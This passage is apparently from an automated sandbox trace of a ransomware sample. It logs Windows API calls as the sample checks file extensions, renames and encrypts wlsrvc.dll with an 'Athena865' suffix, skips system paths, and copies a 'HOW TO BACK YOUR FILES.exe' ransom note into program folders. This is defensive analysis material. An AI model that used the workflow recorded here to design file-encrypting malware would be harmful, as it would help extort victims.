lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.073] lstrlenW (lpString="orx") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.074] lstrlenW (lpString="owc") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.074] lstrlenW (lpString="p96") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.074] lstrlenW (lpString="p97") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.074] lstrlenW (lpString="pan") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.074] lstrlenW (lpString="pdb") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.074] lstrlenW (lpString="pdm") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.074] lstrlenW (lpString="pnz") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.074] lstrlenW (lpString="qry") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.074] lstrlenW (lpString="qvd") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.074] lstrlenW (lpString="rbf") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.074] lstrlenW (lpString="rctd") returned 4 [0042.074] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.074] lstrlenW (lpString="rod") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.074] lstrlenW (lpString="rodx") returned 4 [0042.074] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.074] lstrlenW (lpString="rpd") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.074] lstrlenW (lpString="rsd") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.074] lstrlenW (lpString="sas7bdat") returned 8 [0042.074] lstrcmpiW (lpString1="srvc.dll", lpString2="sas7bdat") returned 1 [0042.074] lstrlenW (lpString="sbf") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.074] lstrlenW (lpString="scx") returned 3 [0042.074] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.074] lstrlenW (lpString="sdb") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.075] lstrlenW (lpString="sdc") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.075] lstrlenW (lpString="sdf") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.075] lstrlenW (lpString="sis") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.075] lstrlenW (lpString="spq") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.075] lstrlenW (lpString="te") returned 2 [0042.075] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.075] lstrlenW (lpString="teacher") returned 7 [0042.075] lstrcmpiW (lpString1="rvc.dll", lpString2="teacher") returned -1 [0042.075] lstrlenW (lpString="tmd") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.075] lstrlenW (lpString="tps") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.075] lstrlenW (lpString="trc") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.075] lstrlenW (lpString="trc") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.075] lstrlenW (lpString="trm") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.075] lstrlenW (lpString="udb") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.075] lstrlenW (lpString="udl") returned 3 [0042.075] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.076] lstrlenW (lpString="usr") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.076] lstrlenW (lpString="v12") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.076] lstrlenW (lpString="vis") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.076] lstrlenW (lpString="vpd") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.076] lstrlenW (lpString="vvv") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.076] lstrlenW (lpString="wdb") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.076] lstrlenW (lpString="wmdb") returned 4 [0042.076] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.076] lstrlenW (lpString="wrk") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.076] lstrlenW (lpString="xdb") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.076] lstrlenW (lpString="xld") returned 3 [0042.076] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.076] lstrlenW (lpString="xmlff") returned 5 [0042.076] lstrcmpiW (lpString1="c.dll", lpString2="xmlff") returned -1 [0042.076] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\wlsrvc.dll.Athena865") returned 53 [0042.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\wlsrvc.dll" (normalized: "c:\\program files\\windows sidebar\\wlsrvc.dll"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\wlsrvc.dll.Athena865" (normalized: "c:\\program files\\windows sidebar\\wlsrvc.dll.athena865"), dwFlags=0x1) returned 1 [0042.077] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\wlsrvc.dll.Athena865" (normalized: "c:\\program files\\windows sidebar\\wlsrvc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.077] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=163328) returned 1 [0042.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0042.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.077] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.078] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.078] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.079] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28100, lpName=0x0) returned 0x17c [0042.081] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28100) returned 0x170000 [0042.095] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.095] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.095] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.096] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0042.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0042.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.096] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0042.097] CloseHandle (hObject=0x17c) returned 1 [0042.097] CloseHandle (hObject=0x154) returned 1 [0042.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0042.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.101] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0042.101] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.101] ReleaseMutex (hMutex=0xec) returned 1 [0042.101] CloseHandle (hObject=0xec) returned 1 [0042.101] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0042.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f5f8 | out: hHeap=0x4f0000) returned 1 [0042.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509038 | out: hHeap=0x4f0000) returned 1 [0042.101] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe") returned 28 [0042.101] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CED7E173460CEF7F75AE4017E28CDFCC") returned 0xec [0042.101] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.102] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0042.102] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.102] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.102] GetLastError () returned 0x0 [0042.102] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0042.102] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.103] CloseHandle (hObject=0xf4) returned 1 [0042.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0042.103] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.103] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.103] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.103] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.103] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.103] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.103] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.103] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.103] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.103] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.104] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc48c140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.104] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.104] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2=".") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="..") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="windows") returned -1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="bootmgr") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="temp") returned -1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="pagefile.sys") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="boot") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="ids.txt") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="ntuser.dat") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="perflogs") returned 1 [0042.104] lstrcmpiW (lpString1="Reader 10.0", lpString2="MSBuild") returned 1 [0042.104] lstrlenW (lpString="Reader 10.0") returned 11 [0042.104] lstrcpyW (in: lpString1=0x241e882, lpString2="Reader 10.0" | out: lpString1="Reader 10.0") returned="Reader 10.0" [0042.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509038 [0042.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x529310 [0042.104] lstrcatW (in: lpString1="Reader 10.0", lpString2="\\" | out: lpString1="Reader 10.0\\") returned="Reader 10.0\\" [0042.104] lstrcatW (in: lpString1="Reader 10.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reader 10.0\\HOW TO BACK YOUR FILES.exe") returned="Reader 10.0\\HOW TO BACK YOUR FILES.exe" [0042.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.107] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 0 [0042.107] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.107] ReleaseMutex (hMutex=0xec) returned 1 [0042.107] CloseHandle (hObject=0xec) returned 1 [0042.107] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files" | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0042.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517398 | out: hHeap=0x4f0000) returned 1 [0042.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c488 | out: hHeap=0x4f0000) returned 1 [0042.107] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files") returned 35 [0042.107] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6C8B70A681747B52D45110AB50851213") returned 0xec [0042.107] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.107] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files" | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0042.107] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.108] GetLastError () returned 0x0 [0042.108] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0042.108] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.108] CloseHandle (hObject=0xf4) returned 1 [0042.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0042.108] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.109] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.109] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.109] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.109] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.109] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.109] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.109] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.109] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.109] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.109] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0042.109] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0042.109] lstrlenW (lpString="Adobe") returned 5 [0042.109] lstrcpyW (in: lpString1=0x241e890, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0042.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c488 [0042.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x529370 [0042.109] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0042.109] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0042.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.113] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc48c140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.113] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.113] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2=".") returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="..") returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1 [0042.113] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1 [0042.114] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1 [0042.114] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1 [0042.114] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1 [0042.114] lstrcmpiW 